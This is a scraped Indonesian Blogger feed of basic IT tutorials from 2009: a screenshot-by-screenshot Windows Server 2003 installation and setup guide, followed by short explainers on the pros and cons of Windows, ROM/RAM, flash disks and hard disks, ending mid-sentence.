/>Jika hardisk Anda masih kosong, anda harus membuat partisi untuk sistem Windows Server 2003. Tekan ‘C’ untuk membuat partisi dan masukkan ukuran partisi yang dibutuhkan, misal 10000MB (1GB).<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWV3lAyAJNI/AAAAAAAAACE/doLDi0OoCFI/s1600-h/3.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWV3lAyAJNI/AAAAAAAAACE/doLDi0OoCFI/s320/3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288764815165105362" /></a><br /><br />Jika sudah selesai, tekan ‘ENTER’.<br />Format partisi tersebut dengan filesystem NTFS dengan metode quickformat.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_pcXAY3J6kyY/SWV4IBWNbPI/AAAAAAAAACM/hyzbnBKMouU/s1600-h/4.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://1.bp.blogspot.com/_pcXAY3J6kyY/SWV4IBWNbPI/AAAAAAAAACM/hyzbnBKMouU/s320/4.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288765416612392178" /></a><br /><br />Tekan ‘ENTER’. Windows Server 2003 Setup memformat partisi hardisk Anda.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWV4w4Z9WvI/AAAAAAAAACU/SS5Fzz_o51U/s1600-h/5.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWV4w4Z9WvI/AAAAAAAAACU/SS5Fzz_o51U/s320/5.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288766118586833650" /></a><br /><br />Setelah format selesai, Windows Server 2003 Setup meng-copy file-file ke partisi Windows.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWV5OuSxYjI/AAAAAAAAACc/BNh5XpEwiF8/s1600-h/6.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWV5OuSxYjI/AAAAAAAAACc/BNh5XpEwiF8/s320/6.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288766631268409906" /></a><br /><br />Setelah selesai, Windows Server 2003 Setup akan me-restart komputer dan boot ulang<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_pcXAY3J6kyY/SWV5qEGp3oI/AAAAAAAAACk/mJEhlX9PjC0/s1600-h/7.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_pcXAY3J6kyY/SWV5qEGp3oI/AAAAAAAAACk/mJEhlX9PjC0/s320/7.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288767100979633794" /></a><br /><br />Windows Server Setup GUI<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWV6I08LgBI/AAAAAAAAACs/1SDNiU9MKGg/s1600-h/8.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWV6I08LgBI/AAAAAAAAACs/1SDNiU9MKGg/s320/8.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288767629485113362" /></a><br /><br />Tunggu beberapa saat sampai muncul Wizard berikut:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWV6jk6da-I/AAAAAAAAAC0/zoLaj2TNCqY/s1600-h/9.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWV6jk6da-I/AAAAAAAAAC0/zoLaj2TNCqY/s320/9.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288768089039399906" /></a><br /><br />Pilih ‘Customize’, dan lakukan setting seperti screen di bawah ini.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWV6-WOCvdI/AAAAAAAAAC8/ZJw2vOZ0SLM/s1600-h/10.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWV6-WOCvdI/AAAAAAAAAC8/ZJw2vOZ0SLM/s320/10.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288768548951473618" /></a><br /><br />Klik ‘OK’, kembali ke layar sebelumnya dan klik ‘Next’.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_pcXAY3J6kyY/SWV7RqUTmvI/AAAAAAAAADE/M4TC7pjG5jg/s1600-h/11.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_pcXAY3J6kyY/SWV7RqUTmvI/AAAAAAAAADE/M4TC7pjG5jg/s320/11.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288768880763968242" /></a><br /><br />Isi dengan Nama Anda dan Nama Perusahaan Anda. Kemudian klik ‘Next’.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWV7k4HcITI/AAAAAAAAADM/ZGugFEEHQhs/s1600-h/12.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWV7k4HcITI/AAAAAAAAADM/ZGugFEEHQhs/s320/12.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288769210885611826" /></a><br /><br />Isi dengan CD key Windows Server 2003 yang disertakan bersama CD Windows Server 2003. Klik ‘Next’<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWV8mBss7hI/AAAAAAAAADc/Y8ogyMxLBJo/s1600-h/13.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWV8mBss7hI/AAAAAAAAADc/Y8ogyMxLBJo/s320/13.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288770330149318162" /></a><br /><br />Pilih Licensing Mode ‘Per Server’ dan isi dengan jumlah koneksi yang dibutuhkan. Klik ‘Next’.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWV83hRdZWI/AAAAAAAAADk/pl1BVU3gmrA/s1600-h/a.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWV83hRdZWI/AAAAAAAAADk/pl1BVU3gmrA/s320/a.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288770630682764642" /></a><br /><br />Isi ‘Computer Name’ dan password untuk Administrator. Klik ‘Next’.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWV9Ns5tzJI/AAAAAAAAADs/5KEei_m3gYM/s1600-h/b.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWV9Ns5tzJI/AAAAAAAAADs/5KEei_m3gYM/s320/b.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288771011761523858" /></a><br /><br />Pilih ‘Time Zone’ dengan (GMT +07:00 ) Bangkok, Hanoi, Jakarta. Klik ‘Next’. Setup akan melakukan instalasi Network.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWV9g3HfArI/AAAAAAAAAD0/hSa95QvTKU8/s1600-h/c.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWV9g3HfArI/AAAAAAAAAD0/hSa95QvTKU8/s320/c.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288771340921143986" /></a><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWV9ypTQJdI/AAAAAAAAAD8/zNIkfpBYWnk/s1600-h/d.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWV9ypTQJdI/AAAAAAAAAD8/zNIkfpBYWnk/s320/d.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288771646450050514" /></a><br /><br />PIlih ‘Custom settings’ dan klik ‘Next’.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWV-PMuW_lI/AAAAAAAAAEE/DWTsp2NSU50/s1600-h/e.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWV-PMuW_lI/AAAAAAAAAEE/DWTsp2NSU50/s320/e.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288772136995323474" /></a><br /><br />Pilih komponen ‘Internet Protocol (TCP/IP)’ dan klik ‘Properties’.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWV-mYYBo4I/AAAAAAAAAEM/GGZcNoDROCE/s1600-h/f.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWV-mYYBo4I/AAAAAAAAAEM/GGZcNoDROCE/s320/f.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288772535259865986" /></a><br /><br />Isi ‘IP address’, ‘Subnet mask:’, ‘Default gateway:’ sesuai konfigurasi network Anda. Klik ‘OK’. Kemudian klik ‘Next’.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWV-89hfN1I/AAAAAAAAAEU/mOhea74fmJE/s1600-h/g.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWV-89hfN1I/AAAAAAAAAEU/mOhea74fmJE/s320/g.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288772923188787026" /></a><br /><br />Isi nama Workgroup yang diinginkan, misalnya : ‘VOUCHA’. dan klik ‘Next’.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWV_WtruZKI/AAAAAAAAAEc/Q5KrZ40zfT8/s1600-h/h.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWV_WtruZKI/AAAAAAAAAEc/Q5KrZ40zfT8/s320/h.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288773365613356194" /></a><br /><br />Setup mencopy file-file komponen ke partisi Windows. Setelah itu Setup akan melakukan restart dan boot ulang komputer Anda.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_pcXAY3J6kyY/SWV_vQogRcI/AAAAAAAAAEk/PdrIamuFxrw/s1600-h/i.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_pcXAY3J6kyY/SWV_vQogRcI/AAAAAAAAAEk/PdrIamuFxrw/s320/i.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288773787311949250" /></a><br /><br />Selamat, Anda berhasil melakukan instalasi Windows Server 2003!<br />Technorati Tags: windows-server-2003<br /><br /><br /><br /><br />Setup Windows Server 2003 - Bagian 2 <br /><br />Pada Setup Windows Server 2003 - Bagian 1, kita telah melakukan instalasi Windows Server 2003 dengan konfigurasi standar. Beberapa konfigurasi lainnya masih harus dicustomize agar sesuai dengan kebutuhan sistem yang diharapkan.<br />Pada bagian ke-2 ini, kita akan melakukan instalasi beberapa komponen tambahan yang diperlukan dan melakukan beberapa konfigurasi minimum untuk Windows Server 2003.<br />Instalasi Windows Server 2003 Service Pack 2<br />1. Masukkan CD Windows Server 2003 Service Pack 2<br />2. Jika Autorun tidak aktif, jalankan melalui menu Start.<br />Caranya: <br />1. Klik ‘Start’->’Run<br />2. Klik ‘Browse’. Pilih lokasi CD-ROM, dan pilih file ‘SRSP2.CMD’<br />3. Setup akan mengekstrak file-file instalasi dan menampilkan kotak dialog seperti berikut.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWWAz0vdPsI/AAAAAAAAAEs/_NQq-BfquDs/s1600-h/n.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 250px;" src="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWWAz0vdPsI/AAAAAAAAAEs/_NQq-BfquDs/s320/n.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288774965235891906" /></a><br /><br />4. Klik ‘Next’ dan lanjutkan sampai selesai.<br />5. Restart<br /><br /><br />Instalasi Driver<br />Anda harus melakukan instalasi driver-driver hardware di komputer dengan CD/DVD instalasi hardware bersangkutan. Jika driver untuk Windows Server 2003 tidak ditemukan, coba dengan driver untuk Windows XP atau download dari website vendor bersangkutan.<br />Instalasi Internet Information Service (IIS)<br />1. Jalankan ‘Add or Remove Programs’ dari Control Panel<br />2. Klik button ‘Add/Remove Windows Components’<br />3. Double click ‘Application Server’<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWWBUTta3DI/AAAAAAAAAE0/jb-FcbLDcAE/s1600-h/m.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 264px;" src="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWWBUTta3DI/AAAAAAAAAE0/jb-FcbLDcAE/s320/m.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288775523304660018" /></a><br /><br />4. Double click ‘Internet Information Service (IIS)’<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWWBqtuBs6I/AAAAAAAAAE8/yftmi8NAaoY/s1600-h/o.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 250px;" src="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWWBqtuBs6I/AAAAAAAAAE8/yftmi8NAaoY/s320/o.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288775908243649442" /></a><br /><br />5. Pilih ‘File Transfer Protocol (FTP) Service’<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_pcXAY3J6kyY/SWWB-CQNJJI/AAAAAAAAAFE/gcA2zW5OsFM/s1600-h/p.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 250px;" src="http://1.bp.blogspot.com/_pcXAY3J6kyY/SWWB-CQNJJI/AAAAAAAAAFE/gcA2zW5OsFM/s320/p.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288776240173229202" /></a><br /><br />6. Klik OK.<br /><br />Membuat Partisi<br />Partisi untuk dokumen, database, dan file-file temporer sebaiknya dipisah. Untuk membuat partisi di Windows Server 2003, ikuti langkah berikut:<br />1. Jalankan ‘Control Panel’->’Administrative Tools’->’Computer Management’<br />2. Pilih ‘Disk Management’<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWWCbYRxi1I/AAAAAAAAAFM/JbVKa9oYcW8/s1600-h/r.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 226px;" src="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWWCbYRxi1I/AAAAAAAAAFM/JbVKa9oYcW8/s320/r.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288776744301595474" /></a><br />3. Klik ‘Disk 0′ pada daftar disk dan klik kanan.<br />4. Pilih ‘New Partition’<br />5. Pilih ‘Extended Partition’, isi ukuran partisi yang dibutuhkan dan klik ‘Next’<br />6. Pilih filesystem ‘NTFS’.<br />7. Ulangi langkah 1-6 untuk partisi yang lain.<br /><br />Membuat User Account<br />Anda harus membuat user account khusus untuk pemakaian biasa dan jangan gunakan account Administrator. Gunakan account Administrator jika diperlukan, misalnya instalasi software atau hardware.<br />1. Jalankan ‘Control Panel’->’Administrative Tools’->’Computer Management’<br />2. Pilih ‘Local Users and Groups’<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWWC5KK2OVI/AAAAAAAAAFU/JOYig3XpwPI/s1600-h/q.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 226px;" src="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWWC5KK2OVI/AAAAAAAAAFU/JOYig3XpwPI/s320/q.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288777255910521170" /></a><br /><br />3. Pilih ‘Users’<br />4. Klik kanan di daftar user dan pilih ‘New User’<br />5. Isi dengan nama user yang Anda inginkan.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWWDV-0n_RI/AAAAAAAAAFc/LCiRggBrMvM/s1600-h/y.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 318px; height: 320px;" src="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWWDV-0n_RI/AAAAAAAAAFc/LCiRggBrMvM/s320/y.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288777751080729874" /></a><br /><br />6. Klik ‘Create’<br />Selamat, Windows Server 2003 telah siap digunakan sebagai Server. Untuk menggunakan Voucha II, Anda perlu melakukan instalasi Microsoft SQL Server 2000 dan Microsoft SQL Server 2000 - Service Pack 4.<br /><br /><br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com7tag:blogger.com,1999:blog-3898445254899960720.post-76370220150688843092009-01-06T16:54:00.000-08:002009-01-06T17:09:54.145-08:00Keunggulan dan kekurangan windows1. Keungulan Windows<br /><br />Seperti yang telah disebutkan, Windows adalah sistem operasi yang user-friendly.<br />Tampilannya begitu bersahabat bagi para pengguna. Selain itu, dukungan hardware yang<br />lengkap, banyaknya aplikasi yang diperuntukkan bagi platform Windows<br />semakin melengkapi nilai tambahnya.<br /><br /><span class="fullpost"><br /><br /> <br /> 2. Kekurangan Windows<br /><br /> Windows juga memiliki sisi kurang yang cukup mencolok. Sistem operasi<br /> ini adalah sistem operasi yang rentan akan penyakit. Windows mudah<br /> sekali tertular virus. Namun, masalah ini dapat diatasi dengan adanya<br /> vendor-vendor software<br /> yang merilis antivirus bagi Windows. Sebut saja Norton dan AVG. Meski<br /> demikian, perkembangan virus komputer terus berlanjut layaknya<br /> virus-virus di dunia nyata. Mereka semakin banyak dan ganas. Siap kapan<br /> saja menginfeksi komputer Windows.<br /><br /> Terlepas dari sisi teknis, harga lisensi Windows juga terbilang sulit<br /> dijangkau oleh masyarakat Indonesia kebanyakan. Versi bajakan memang<br /> murah, tetapi itu bukanlah pilihan bijak. Dengan membeli versi bajakan,<br /> sama saja kita telah mendanai para kriminal tersebut mengembangkan<br /> usaha mereka. Dan kita telah menjadi sponsor setia dalam melanggengkan<br /> tindak tanduk mereka.<br /><br />Windows telah ada semenjak 80-an. Ketika itu, OS ini berpenampilan<br />minimalis dan berkesan kartunis. Tidak ada efek tiga dimensi dan<br />resolusi gambar yang terlalu rendah. Namun, sebagai sistem operasi yang<br />user-friendly,<br />membawanya sebagai sistem operasi yang banyak diminati oleh orang.<br /><br />Jenis-jenis Windows sendiri antara lain Windows 95, Windows 98, Windows<br />2000, Windows Me, Windows NT, Windows XP, dan Windows Vista.<br /><br />Windows mendukung sistem berkas partisi dengan format FAT, FAT16,<br />FAT32, NTFS, juga iso9660.<br /> <br /> <br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-36321396102108569042009-01-06T16:35:00.000-08:002009-01-06T16:40:00.304-08:00Media Penyimpanan MemoryMemori adalah media penyimpan data pada komputer.<br /><br />Memori terbagi atas dua macam, yaitu ;<br /><br /> * Read Only Memory (ROM), yaitu memori yang hanya bisa dibaca saja, tidak dapat dirubah dan dihapus dan sudah diisi oleh pabrik pembuat komputer. Isi ROM diperlukan pada saat komputer dihidupkan. Perintah yang ada pada ROM sebagian akan dipindahkan ke RAM. Perintah yang ada di ROM antara lain adalah perintah untuk membaca sistem operasi dari disk, perintah untuk mencek semua peralatan yang ada di unit sistem dan perintah untuk menampilkan pesan di layar. Isi ROM tidak akan hilang meskipun tidak ada aliran listrik. Tapi pada saat sekarang ini ROM telah mengalami perkembangan dan banyak macamnya, diantaranya :<br /><br /><span class="fullpost"><br /><br />· PROM (Programable ROM), yaitu ROM yang bisa kita program kembali dengan catatan hanya boleh satu kali perubahan setelah itu tidak dapat lagi diprogram.<br /><br />· RPROM (Re-Programable ROM), merupakan perkembangan dari versi PROM dimana kita dapat melakukan perubahan berulangkali sesuai dengan yang diinginkan.<br /><br />· EPROM (Erasable Program ROM), merupakan ROM yangdapat kita hapus dan program kembali, tapi cara penghapusannya dengan menggunakan sinar ultraviolet.<br /><br />· EEPROM (Electrically Erasable Program ROM), perkembangan mutakhir dari ROM dimana kita dapat mengubahdan menghapus program ROM dengan menggunakan teknikelektrik. EEPROM ini merupakan jenis yang paling banyak digunakan saat ini.<br /><br /> * Random Access Memori (RAM), dari namanya kita dapat artikan bahwa RAM adalah memori yang dapat diakses secara random. RAM berfungsi untuk menyimpan program yang kita olah untuk sementara waktu (power on) jika komputer kita matikan, maka seluruh data yang tersimpan dalam RAM akan hilang. Tujuan dari RAM ini adalah mempercepat pemroses data pada komputer. Agar data yang kita buat tidak dapat hilang pada saat komputer dimatikan, maka diperlukan media penyimpanan eksternal, seperti Disket, Harddisk, flash disk, PCMCIA card dan lain-lain.<br /><br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com1tag:blogger.com,1999:blog-3898445254899960720.post-10993029386559412752009-01-06T04:40:00.000-08:002009-01-06T04:53:36.789-08:00Media Penyimpanan Flash Disk<span style="font-weight:bold;">USB Flash Drive</span> atau yang lebih dikenal dengan UFD atau flash disk merupakan sebuah periperal komputer yang populer pada sekarang ini. Flash disk sendiri sejatinya adalah sebuah alat penyimpanan data berbasis flash memory yang diintegrasikan dengan USB (Universal Serial Bus) konektor. Flash disk pada umumnya berbentuk kecil dan ringan. Sehingga mudah untuk dibawa kemana-mana (bersifat portabel) dan memiliki kemampuan penyimpanan data yang cukup besar (mulai dari 8 mb hingga 16 gb). Selain itu, flash disk juga telah didukung oleh banyak sistem operasi (windows, linux, macintosh, dsb) dan tidak perlu di install (komputer akan dengan sendirinya menginstal sebuah driver flash disk – hal ini berlaku untuk sistem operasi modern). Hal ini membuat flash disk menjadi media penyimpanan portabel yang paling banyak digunakan oleh pengguna komputer.<br /><br /><span class="fullpost"><br />Inti dari teknologi flash disk ialah penggunaan flash memory. Flash memory sendiri merupakan pengembangan dari teknologi EPROM (yang kemudian dikembangkan menjadi EEPROMS – yang sekarang lebih dikenal tempat penyimpanan bios kmputer). Flash memory sendiri dirancang sebagai sebuah memori yang bisa menyimpan data, data yang disimpan bisa dihapus dan data ditulis kembali dengan mudah. Hal ini membuat flash disk hampir sama dengan hard disk atau floppy disk (sebagai media penyimpanan yang bisa ditulis berulang kali). namun jika hard disk atau floppy disk menggunakan sebuah alat mekanik (berbentuk jarum) untuk membaca dan menulis data, maka flash disk menggunakan sebuah kontroler (berbentuk chip) yang bertugas untuk menulis dan membaca data pada flash memory. Hal ini juga yang membuat flash disk bentuknya bisa kecil dan ringan.<br /><br />Sebagai alat yang berbasis teknologi flash memory, flash disk memiliki sebuah “waktu hidup” yang terbilang tidak lama. Pada umumnya sebuah flash disk hanya bisa digunakan sebanyak 50000 hingga 150000 kali saja (dalam hal ini penggunaan baik membaca maupun menulis data).<br /><br />Flashdisk Pertama<br /><br />Ada beberapa perusahaan yang mengklaim sebagai pembuat flash disk pertama. Trek, merupakan perusahaan yang pertama menjual flash disk pada tahun 2000. Trek menamakan flash disk tersebut Thumbdrive.<br /><br />Sebuah perusahaan, M-systems, juga telah bekerja mengembangkan flash disk sejak tahun 1998. mereka mempopulerkan flash disk dengan merk disk on key. Sebuah perusahaan teknologi, Lexar, juga mengklaim sebagai pionir dalam pembuatan flash disk. Pada sekarang ini ada banyak pengembang flash disk seperti sandisk, kingston, umax, nexus, dsb.<br /><br />Flash disk pertama menggunakan teknologi USB 1.1. teknologi USB 1.1 menjanjikan transfer data sebesar 12 Mbps. sekarang, sebuah flash disk sudah mendukung teknologi USB 2.0 yang menjanjikan transfer data sebesar 480 Mbps. akan tetapi, dikarenakan adanya batasan pada teknolog flash memory, nilai transfer sebenarnya dari sebuah flash disk jauh daripada spesifikasi yang ditawarkan.<br /><br />Kegunaan Flash disk.<br /><br />Kegunaan flash disk tentu saja sebagai media penyimpanan data yang bersifat portabel (mudah dibawa kemana-mana). Adapun kegunaan khusus flash disk antara lain:<br /><br /> 1. sebagai media penyimpanan data pribadi<br /> 2. sebagai alat untuk mem-boot komputer<br /> 3. pada windows vista, flash disk bisa digunakan sebgaia tambahan untuk memori sistem<br /> 4. sebagai pemutar musik portabel (MP3 player)<br /> 5. sebagai alat bantu untuk para system administrator dan teknisi komputer<br /><br /><br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-6533642833820966822009-01-06T04:00:00.000-08:002009-01-06T04:07:16.003-08:00Media Penyimpanan Hard Disk<span style="font-weight:bold;">Hard Disk</span><br />Harddisk merupakan piranti penyimpanan sekunder dimana data disimpan sebagai pulsa magnetik pada piringan metal yang berputar yang terintegrasi. Data disimpan dalam lingkaran konsentris yang disebut track. Tiap track dibagi dalam beberapa segment yang dikenal sebagai sector. Untuk melakukan operasi baca tulis data dari dan ke piringan, hard disk menggunakan head untuk melakukannya, yang berada disetiap piringan. Head inilah yang selanjut bergerak mencari sector-sector tertentu untuk dilakukan operasi terhadapnya. Waktu yang diperlukan untuk mencari sector disebut seek time. Setelah menemukan sector yang diinginkan, maka head akan berputar untuk mencari track. Waktu yang diperlukan untuk mencari track ini dinamakan latency.<br /><span class="fullpost"><br />Dalam tingkatan yang paling sederhana, hard disk tidak seberapa berbeda dengan kaset pada tape. Keduanya sama-sama menggunakan teknik perekaman secara magnetik dan memanfaatkan keunggulan media perekaman tersebut dimana data yang tersimpan didalamnya dapat dirubah atau dihapus sewaktu-waktu. Hard disk memiliki sebuah cakram keras (hard platter) yang mengandung media magnetik, sebagai kebalikan dari lembaran film plastik pada floppy disk dan tape.<br /><br />Harddisk merupakan media penyimpan yang didesain untuk dapat digunakan menyimpan data dalam kapasitas yang besar. Hal ini dilatar belakangi adanya program aplikasi yang tidak memungkinkan berada dalam 1 disket dan juga membutuhkan media penyimpan berkas yang besar misalnya database suatu instansi.<br /><br />Tidak hanya itu, harddisk diharapkan juga diimbangi dari kecepatan aksesnya.<br />Kecepatan harddisk bila dibandingkan dengan disket biasa, sangat jauh. Hal ini dikarenakan harddisk mempunyai mekanisme yang berbeda dan teknologi bahan yang tentu saja lebih baik dari pada disket biasa. Bila tanpa harddisk, dapat dibayangkan betapa banyak yang harus disediakan untuk menyimpan data kepegawaian suatu instansi atau menyimpan program aplikasi. Hal ini tentu saja tidak efisien. Ditambah lagi waktu pembacaannya yang sangat lambat bila menggunakan media penyimpanan disket konvensional tersebut.<br />Komponen Penyusun Hard Disk<br />Secara umum, komponen-komponen pokok yang menyusun sebuah hard disk terdiri dari:<br />• Platter: Piringan, biasanya dibuat dari alumunium yang dilapisi dengan bahan magenetik. Pada permukaan platter inilah data pada hard disk disimpan. Sebuah had disk bisa memiliki beberapa buah platter yang bekerja simultan.<br />• Lengan pembaca: Komponen ini menyangga head yang berfungsi untuk membaca/menulis pada permukaan platter. Lengan ini dikontrol melalui sebuah 